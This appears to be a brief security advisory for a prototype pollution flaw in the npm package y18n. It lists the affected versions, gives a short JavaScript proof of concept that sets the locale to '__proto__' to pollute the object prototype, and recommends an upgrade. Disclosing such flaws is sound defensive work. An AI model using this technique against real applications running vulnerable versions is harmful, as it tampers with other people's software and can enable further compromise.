Vulnerability Instance

Prototype Pollution in y18n
### Overview

The npm package `y18n` before versions 3.2.2, 4.0.1, and 5.0.5 is vulnerable to Prototype Pollution. 

### POC

```js
const y18n = require('y18n')();

y18n.setLocale('__proto__');
y18n.updateLocale({polluted: true});

console.log(polluted); // true
```

### Recommendation

Upgrade to version 3.2.2, 4.0.1, 5.0.5 or later.